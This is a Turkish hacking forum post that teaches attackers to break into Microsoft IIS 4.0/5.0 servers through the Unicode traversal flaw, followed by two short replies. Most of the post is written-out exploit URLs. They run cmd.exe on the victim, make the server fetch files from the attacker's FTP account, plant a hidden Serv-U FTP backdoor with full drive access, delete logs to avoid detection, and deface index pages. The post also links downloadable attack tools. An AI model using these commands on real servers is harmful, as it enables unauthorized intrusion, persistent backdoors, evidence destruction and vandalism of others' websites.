IIS (Server Açıkları)

w133

тσ яєαℓιz&#
Katılım
18 Haz 2005
Mesajlar
1,436
Reaction score
0
Puanları
0
Yaş
40
Konum
www.imagestr.com
1) Giris

Bu Bölümde Sizlere IIS Server Nasil lenir, Deface Yapilir Onu Anlatmaya Calisacagim. IIS Yaparken Iki Yol Izleyecegiz. Birincisinde Program / Toolslerle, Ikincisinde Ise Tamamen Program Kullanmadan Sadece Mantik Yolunu Izleyerek Sonuca Varmaya Calisacagiz )

2) Scannen

IIS Server 4.0 Ve 5.0 Versionlarinin Zayif Taraflarindan Biriside Unicodelarla Yazma Yetkisine Sahip Olmaya Olanak Tanimalaridir. Bu Sayede Servere Akliniza Gelebilecek Herseyi Yapabiliriz )

Ilk Önce Unicode Calisan Server Bulmamiz Gerekiyor. Icinizden Bir Cok Kisinin; "Böyle Bir Server Hayatta Bulamazsin" Dediklerini Duyuyor Gibiyim ) Hound Adli Programi Bir Cok Kisi Bilir. IP Araliklarini Programa Veriyorsun Ve Sana Buldugu Serverleri Siraliyor. Biraz Sonra Hound Mantigiyla Calisan Scanner Linki Verecegim. Bu Scannere Bir IP Adresi Yaziyoruz. O Kendi Basina Unicodelarin Calisabilecegi IIS Server Ve Anonim FTP Server Buluyor Ve Listeliyor. Sana Sadece lemek Kaliyor

FX Scanner:

www.afacannnn.com/FX-Scanner.exe

Bu Scanneri Indirip Kuruyoruz Ve Ayarlara Falan Hic Dokunmadan IP Bölümüne 1.2.*.* Yaziyoruz. Program Gerisini Kendi Hallediyor. Eger Isterseniz Proxy Kullanabilirsiniz. Ben Simdiye Kadar Pek Proxy Kullanmadim Ama Neyse Scanner Tariyor Ve Birseyler Bulursa Bunlari Detayli Bir Sekilde Kayit Ediyor (IP Adresi, Unicode, Sürücüler Ve Dizinler, Serverde Firewall Varmi vs...). Serverlerin Hemen Hemen Hepsinde Pahali Firewalller Mevcuttur Ama IIS Buglarina Hic Dikkat Etmezler. Cok Akillica Dimi )))

3) Toolslarla

le Ugrasan Bir Cok Insanda Bir Yigin Toolsler Vardir. Fakat Buttonlara Bastiklarinda Neler Olup Bittiginin Farkinda Degillerdir. Aslinda Ufak Tefek Bazi Toolsler Gercekten Bazen Faydali Olabiliyor. Bazen Bir Yigin Isi Cok Pratik Hale Getirebiliyorlar.

Simdi ki Konumuza Uyan Iki Tane Güzel Program Var. Biri Azrael666 Digeri IISDjinn. IISDjinn Adli Program Henüz Tam Anlamiyla Bitmis Degil Ama Yinede Simdiden Cok Güzel. Bu Durumda Biz Azrael666 Adli Programi Kullanacagiz.

Azrael666 Link:

www.afacannnn.com/Azrael.zip

Programi Indirip Aciyoruz. Program Portekizce Oldugu Icin Ilk Önce Yukarida ki Seceneklerden Ikincisini (Yani Translator) Tikliyip Ingilizce Yapiyoruz.

Digite A URL Yazan Yere Scanner Ile Tarayip Buldugumuz IP Adresini Yaziyoruz Ve Comb. Test 1i Tikliyoruz. Sonra Asagida ki Kücük Pencerelerden Teker Teker Buralara Erisim Saglanip Saglanmadigini Bize Bildiriyor. Eger Erisim Hakki Yoksa Sayfa Görüntülenemiyor Hatasi Cikacaktir. Erisim Hakki Varsa Direk Olarak Bize Serverin C Sürücüsünü Gösterecektir:))
Simdi Asagida Yazan Attack Buttonunu Tiklayarak Servere Giris Yapiyoruz.
Sonra Karsimiza Bir Takim Komutlar Cikiyor.
Komutlar:

DIR: Yazacagimiz Herhangi Bir Dizine Gitmemizi Saglar. Asagida Olan Bölümde Dizinleri Gösteriyor. (Ilk Basta Anlattigim FX Scannerde Serverde Hangi Dizinlerin Oldugunu Bize Bildiriyor)

MD: Belirledigimiz Dizine Belirledigimiz Bir Klasör Olusturmamizi Saglar

COPY: Bu Komutla Serverde Istedigimiz Gibi Kopyeleme Islemleri Gerceklestirebiliriz. (cmd.exeyi de Bu Sekilde Kopyelememizi Saglar)

DEL: Bu Komutla Dosya Sileriz.

REN: Bu Komutla Dosyalarin Isimlerini Degistirebiliriz.

ECHO: Bu Komutla Asil Index Dosyasini Bizim Indeximizle Degistirebiliriz. Yani Gercek Indexi Siler Bizimkini Yerlestirir Yada Olmayan Bir Dosya Olusturur ECHO Komutunun Yaninda Select Vardir. Bunlar Overw. Ve Add. dir. Overw Seciliyse Belirledigimiz Dosyanin Üzerine Bizim Dosyayi Gecirecektir. Add Seciliyse Yeni Dosya Olusturacaktir. "Write text here" Yazan Yere de Istedigimizi Yazabiliriz. Örnek: HaCKeD by AFACANNNN

4) Önemli !!!!

Programi Kullanirken Asil DOS Isimize Cok Yarayacak Ve DOS Kullanmayi Bilmeyenler Icin Bunu Calistirmak Oldukca Zor Olacaktir.

Örnegin:

c:\falan filan

Girecegimiz Dizini Bu Sekilde Belirtirsek Sistem Bunu Tanimayacaktir. Bu Durumda Bu Dizinde ki Klasör Isminin Ilk 6 Harfini Aliyoruz Ve Sonra ~1 Bu Isareti Yaziyoruz. Yani Su Sekilde:

c:\falanf~1 (Yada 2 Yada 3 vs... Teker Teker Deneyebilirsiniz)

Ama Klasör Ismi Tek Kelimeyse O Zaman Normal Bir Sekilde Yazabiliriz.

Örnegin:

c:\falan

5) Dosya Download

Eger Serverde Bulunan Bir Dosyayi Download Yapmak Yada Görmek Istiyorsak Bunu Baska Yöntemlerle Yapmak Durumundayiz. Örnegin Normal Bir IP Adresi Server Oluyor. Ama Browserde IP Adresini Yazarsak Örnegin: http://1.2.3.4/ Bu Site Oluyor. Dolayisiyla Sürücünün Icerigi Degil Sayfa Cikiyor. Bütün Site Dosyalari Örnegin d:\inetpub\wwwroot\ Dizininde Kayitli Oluyor. Demek ki Indirmek Istedigimiz Dosyayi Alip IISe Kopyelersek Dosyayi Kolaylikla Indirmis Oluruz )

Örnek:

Dosya.txt Adli Dosya Serverin Herhangi Bir Bölümünde Mevcut. Ve Biz Bunu Indirmek / Görmek Istiyoruz. Bunu COPY Komutuyla Yapabiliriz.

COPY Komutunun Üst Bölümüne: c:\falan\lalala\Dosya.txt Yazariz.

Alt Bölümüne: c:\inetpub\Dosya.txt Yazariz.

Sonra http://1.2.3.4/Dosya.txt Yazar Ve Dosyayi Indirir Yada Görürüz. Oldukca Basit )

6) Upload

Servere Upload Etmek Istedigimiz Dosyalari Programla Degilde Baska Yol Izleyerek Yapabiliriz. O Kadar Kolay Olmasa Bile En Azindan Bazi Bilgiler Edinmek Acisindan Daha Güzel Bir Yol. Ben Yinede En Kisa Sekilde Nasil Yapacaginizi Anlatmaya Calisacagim.

a) Ilk Önce Free Serverlerin Birinden Bir Tane Account (Host) Aliriz. Bu Accountun Mutlaka FTPsi Olmak Zorunda Yoksa Olmaz. Ben www.tripot.de Adli Sitede Denedim Ve Oluyor. Yalniz Burasi Almanca Oldugu Icin Siz Baska Account Bulmaniz Gerekebilir.

b) Aldigimiz Free Accounta Sonradan Servere Sizdiracagimiz Dosyalari Yükleriz.

c) Bunlari Yaptiktan Sonra Free Accounta Yükledigimiz Dosyalari Servere Yükleriz:

Örnegin Index.htm Ve img.jpg Dosyalarini Sizdirmak Istiyoruz. Browseri Acar Ve Su Kodlari Gireriz (Herseyi Daha Iyi Anlayabilmeniz Icin Tüm Komutlarin Aciklamalarini Yaziyorum):

http://IP/scripts/..%5c..%5CWinnt/system32/cmd.exe?/c+mkdir+c:\temp\etc\etc\etc

(IP = leyecegimiz Serverin IP Adresi, c+mkdir+c:\temp\etc\etc\etc = Olusturdugumuz Dizin)

http://IP/scripts/..%5c..%5CWinnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+superlol.exe

(Bu Komut Bize Tüm Yazma Yetkilerini Acacaktir)

http://IP/scripts/superlol.exe?/c+echo+open+ftp.mitglied.lycos.de+21>>c:\temp\etc\etc\etc\ftpscr.txt

( ftp.mitgleid.lycos.de = Actigimiz Free Accountun FTP Serveri, 21 = ftp Port)

http://IP/scripts/superlol.exe?/c+echo+USERNAME>>c:\temp\etc\etc\etc\ftpscr.txt

(USERNAME = Actigimiz Free Accounta Verdigimiz Username)

http://IP/scripts/superlol.exe?/c+echo+PASSWORT>>c:\temp\etc\etc\etc\ftpscr.txt

(PASSWORT = Actigimiz Free Accounta Verdigimiz FTP Passwort)

http://IP/scripts/superlol.exe?/c+echo+BINARY>>c:\temp\etc\etc\etc\ftpscr.txt

(BINARY= Format)

http://IP/scripts/superlol.exe?/c+echo+get+index.htm>>c:\temp\etc\etc\etc\ftpscr.txt

(index.htm = Free Accountumuza Yüklemis Oldugumuz index Dosyamizi Upload Eder)

http://IP/scripts/superlol.exe?/c+echo+get+logo.jpg>>c:\temp\etc\etc\etc\ftpscr.txt

(img.jpg = Free Accountumuza Yüklemis Oldugumuz img Dosyamizi Upload Eder)

http://IP/scripts/superlol.exe?/c+echo+quit>>c:\temp\etc\etc\etc\ftpscr.txt

(quit = cikis)

Eveet Biraz Uzun Oldu Ama Neyse, Sonunda Istedigimiz Dosyalari Servere Sizdirdik. Simdi Bu Dosyalari Tekrar Programda ki COPY Komutuyla Serverin Istedigimiz Dizin Veya Dizinlerine Kopyeliyip Amacimiza Ulasmis Oluruz. Bu Olaylari Bu Kadar Uzatmamin Sebebi, Insanlarin Kafadan Birseyler Bilmeden Paso Yapmamasi, Yaparken de Birseyler Ögrenip Kazanmasi Acisindandir

7) Pubstro

Asil Komplex Olan Yani Zor Olan Is Simdi Basliyor. Eee Ne Yapalim Bir Yerlere Ulasmak Icin Bu Zorluklari Asmak Gerek Dimi )) Simdi Anlatacagim Olay Genelde Firewalli Olmayan Serverlerde Gecer. Basta FX Scanner Ile Tarattik Ya Hani, Ordan Icinde Firewalli Olmayan Bir Server Buluyoruz Ve Ise Koyuluyoruz

Bize Lazim Olan Materyaller:

Browser (internet explorer)
FTP Programi (CuteFTP Olabilir)
Önceden Actigimiz Free Account
SERV-U (www.serv-u.com dan Temin Edebilirsiniz)
a) Ilk Önce SERV-U yu Bilgisayarimiza Kurariz. Port Ve Login Ayarlarini Hallederiz.

b) Sonra SERV-U.ini yi Acar Ve „INVISIBLE=TRUE“ Satirini Ekleriz (Server Admin Bizi Kolay Tesbit Edemesin Diye)

c) Bu Ayarlamalar Yaptiktan Sonra Asagi Yukari Su Sekilde Görünmesi Gerek:

HomeDir=c:\
AlwaysAllowLogin=YES
Access1=h:\,RWAMCDLEP
Access2=g:\,RWAMCDLEP
Access3=f:\,RWAMCDLEP
Access4=e:\,RWAMCDLEP
Access5=d:\,RWAMCDLEP
Access6=c:\,RWAMCDLEP
Access7=j:\,RWAMCDLEP
 
Sonra Iki Tane User Account Olustururuz. Birisi ROOT Yetkilerine Sahip Olacak Sekilde. Digeri Ise Remote-User Yani ROOT Yetkilerine Sahip Olmayacak Sekilde. Buda Su Sekilde Olacak:

Access1=c:\,RLP
Access2=d:\,RLP (vs...)

d) Sonra Serv-u.exe Ve Serv-u.ini Dosyalarini Free Accountumuzun Ana Dizinine Yükleriz.

e) Sonra Kurmus Oldugumuz serv-u yu Serverde Bir Dizin Yani Bir Klasör Olusturduktan Sonra Iceri Atariz. Ama Server Admininin Davayi Cakmamasi Icin Cok Alakasiz Bir Dizin / Klasör Olusturmamiz Gerek. (Örnegin : C:\temp\etc\etc\etc)

Bu Islem Komutlarla Söyledir:

http://IP/scripts/..%5c..%5CWinnt/system32/cmd.exe?/c+mkdir+c:\temp\etc\etc\etc

(IP = Serverin IP Adresi)

Bu Dizin Olusturulduktan Sonra Ufak Bir CGI Hatasi Cikacaktir !

f) Ve Olusturdugumuz Dizin Gercekten Olusmusmu Onu Kontrol Ederiz:

http://IP/scripts/..%5c..%5CWinnt/system32/cmd.exe?/c+dir+c:\temp\etc\etc\etc

Eger Browserimizde Sunlar: „ .. “ Cikarsa Islem Basarili Demektir.

g) ECHO Komutunu Kullanabilmemiz Icin cmdyi Kopyelememiz Gerekecek. Bu da Söyle:

http://IP/scripts/..%5c..%5CWinnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+superlol.exe

Eveet Sonuca Ulasmaya Cok Az Kaldi. Simdi Ise FTP Scriptimizi Kullanabilmemiz Ve Serv-u.ini Ve Serv-u.exeyi Download Ebebilmemiz Icin Herhangi Bir TXT Dosyasi Olusturmamiz Gerek. (Daha Önce Downloadda Yaptigimizin Aynisi) Buda Söyle:

http://IP/scripts/superlol.exe?/c+echo+open+ftp.mitglied.lycos.de+21>>c:\temp\etc\etc\etc\ftpscr.txt

( ftp.mitgleid.lycos.de= Free Accountun FTP Serveri, 21= ftp Port)

http://IP/scripts/superlol.exe?/c+echo+USERNAME>>c:\temp\etc\etc\etc\ftpscr.txt

(USERNAME= Free Account Username)

http://IP/scripts/superlol.exe?/c+echo+PASSWORT>>c:\temp\etc\etc\etc\ftpscr.txt

(PASSWORT = Free Account FTP Passwort)

http://IP/scripts/superlol.exe?/c+echo+BINARY>>c:\temp\etc\etc\etc\ftpscr.txt

(BINARY= Format)

http://IP/scripts/superlol.exe?/c+echo+get+serv-u.exe>>c:\temp\etc\etc\etc\ftpscr.txt

(serv-u.exe = Download Yapacagimiz Dosya)

http://IP/scripts/superlol.exe?/c+echo+get+serv-u.ini>>c:\temp\etc\etc\etc\ftpscr.txt

(serv-u.ini = Download Yapacagimiz 2. Dosya)

http://IP/scripts/superlol.exe?/c+echo+quit>>c:\temp\etc\etc\etc\ftpscr.txt

(quit = cikis)

h) Simdi Ufak Bir Test Yapalim:

http://IP/scripts/superlol.exe?/c+type+c:\temp\etc\etc\etc\ftpscr.txt

Eger Browserde Sunlar...:

open ##IP-VOM-FTP-SERVER##
##USERNAME##
##PASSWORD##

BINARY
get serv-u.exe
get serv-u.ini
quit

...Gösteriliyorsa Islemimiz Basarili Demektir.
i) Eveet Simdi FTP Scriptimizi Calistiralim:

http://IP/scripts/..%5c..%5CWinnt/system32/cmd.exe?/c+ftp+-s:c:\temp\etc\etc\etc\ftpscr.txt

Free Accountumuza Baglanacak Ve Serv-uyu Servere Sizdiracaktir

j) Bizim Dosyalarimiz Serverin Inetpub Dizininde Olacaktir. Biz Bu Dizinden Alip Serverde Olusturdugumuz Kendi Dizinimize Tasiriz:

http://IP/scripts/superlol.exe?/c+move+serv-u*.*+c:\temp\etc\etc\etc

k) Sevgili Server Adminini Uyandirmamak Ve Iz Birakmamak Icin FTP Scriptimizi Sileriz:

http://IP/scripts/superlol.exe?/c+del+c:\temp\etc\etc\etc\ftpscr.txt+/Q/F

L) Veee Serverde ki Serv-umuzu Calistiririz:

http://IP/scripts/..%5c..%5CWinnt/system32/cmd.exe?/c+c:\temp\etc\etc\etc\serv-u.exe+serv-u.ini

m) Ve Bir Kac Saniye Bekledikten Sonra FTP Programimizla (Örnek: cuteFTP) Servere Baglaniriz. (Önceden Serv-uyu Nasil Ayarlamissak O Verilerle Yani Kendi Username Ve Sifremizle )

n) Ve Serverin ROOT Dizinine Ulasir Ve ROOT Yetkileriyle Serverde Istedigimizi Yapariz. Sonra ki Ilk Isimiz Upload Icin Bir Alt Dizin Bulur Veya Bir Alt Dizin Olustururuz.

o) Yeni Dizini Serv-u-inide Belirtmemiz Gerek.

Tüm ROOT Yetkilerine Sahip Olan Account Serv-u.inide Örnegin Su Sekilde Olur:

HomeDir=d:\FALAN\WORK\sample\LESSON\new\AFACANNNN
AlwaysAllowLogin=YES
Access1=h:\,RWAMCDLEP
Access2=g:\,RWAMCDLEP
Access3=f:\,RWAMCDLEP
Access4=e:\,RWAMCDLEP
Access5=d:\,RWAMCDLEP
Access6=c:\,RWAMCDLEP
Access7=j:\,RWAMCDLEP
RelPaths=YES

HomeDir=d:\FALAN\WORK\sample\LESSON\new\AFACANNNN

RelPaths=YES
Access1=d:\FALAN\WORK\sample\LESSON\new\AFACANNNN,RLP

ö) Tekrar Servere Baglaniriz Ve Hoooop Kendi Olusturdugumuz Dizinin Icindeyiz Ve Bu Dizin ROOT Dizini Olmus Olur (Log Dosyalarini Sileriz Ve Görmedim Duymadim Bilmiyorum) ))))

Log Dosyalari:

Servere Her Baglandigimizda IP Adresimiz Loglanacaktir. Tabi Proxy Kullandigimiz Zaman Bu Bizim Icin Farketmiyor. Ama Bildiginiz Gibi Demokrasi de Careler Tükenmez. Hele Hele Windows Gibi Aptal Bir Sistem Varsa Careler Hicmi Hic Tükenmez )

Log Dosyalarinin Saklandigi Dizin: c:\winnt\system32\logfiles\ Nasil Sileceginizi Anlatmama Gerek Yok Sanirim )

Deface

Sitede ki Index Dosyasini Silip Kendi Index Dosyamizi Yükledigimiz Zaman Deface Yapmis Oluruz. Yani lemis Oluruz. Daha Önceden Belirttigim Gibi Bunu ECHO Komutuyla Yada Az Önce Anlattigim Download Ile Yapabiliriz.

9) Codelar

Konuya Baslarken Belirttigim Gibi Olayi Program Kullanmadan da Yapabiliriz. Kodlamadan Anlayan Bir Kisi Icin Bunlar Ufak Tefek Islerdir. Hatta Biraz Kafa Yormayla Kendi Programimizi Kendimiz Tasarlayip Bu Anlatmis Oldugum Bir Yigin Isleri Kolay Ve Pratik Hale Dönüstürüp Zaman Kazanabiliriz.

Örnek:

DIR = http://IP/Unicode/c+dir+c:\

(C Sürücüsüne DIR Ceker Yani Icerigini Gösterir)

MKDIR = http://IP/scriptsUnicode//c+md+c:\örnekklasör

(C ye örnekklasör Isminde Bir Klasör Olusturur)

COPY = http://IP/scriptsUnicode/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\root.exe

(c:\winnt\system... = Bu Dosyayi Kopyeler, c:\inetpub... = inetpub\ Klasörünün Icine Ve root.exe Ismiyle)

REN = http://IP/Unicode/c+ren+c:\inetpub\wwwroot\index.htm+backup.htm

(c:\inetpub\wwwroot\index.htm Adli Dosyayi backup.htm Olarak Degistirir)

READ = http://IP/Unicode/c+type+c:\winnt\system32\logfiles\w3svc1\*.log

(c.\winnt... Altinda ki Log Dosyalarini Gösterir)

DEL = http://IP/Unicode/c+del+c:\inetpub\*.htm

(c:\inetpub\ Dizininde ki Tüm htm Uzantili Dosyalari Siler)

VOL = http://IP/Unicode/c+vol+c:

(C Sürücüsüne Ait Bilgileri Gösterir)

ECHO = http://IP/scripts/root.exe?/c+echo+%20THE%20WORLD!%20BY,%20AFACANNNN%20:>>c:\inetpub\wwwroot\index.htm

( THE WORLD! BY AFACANNNN Yazisini index.htm Adli Dosyaya Kayit Eder)

10) Bittiiiiiiii ))

Buda Araklamadır :p
 
Anlattıkların için saol peki bu açıkları kapatmak için neler yapmak lazım ?
 
hiçbiri acılmıyor bosuna yazmıssın cizmişsin okadar seyi:(( yarayan birşey varsa mutlaka yaz bekliyorum haberlerini...............
 
Geri
Üst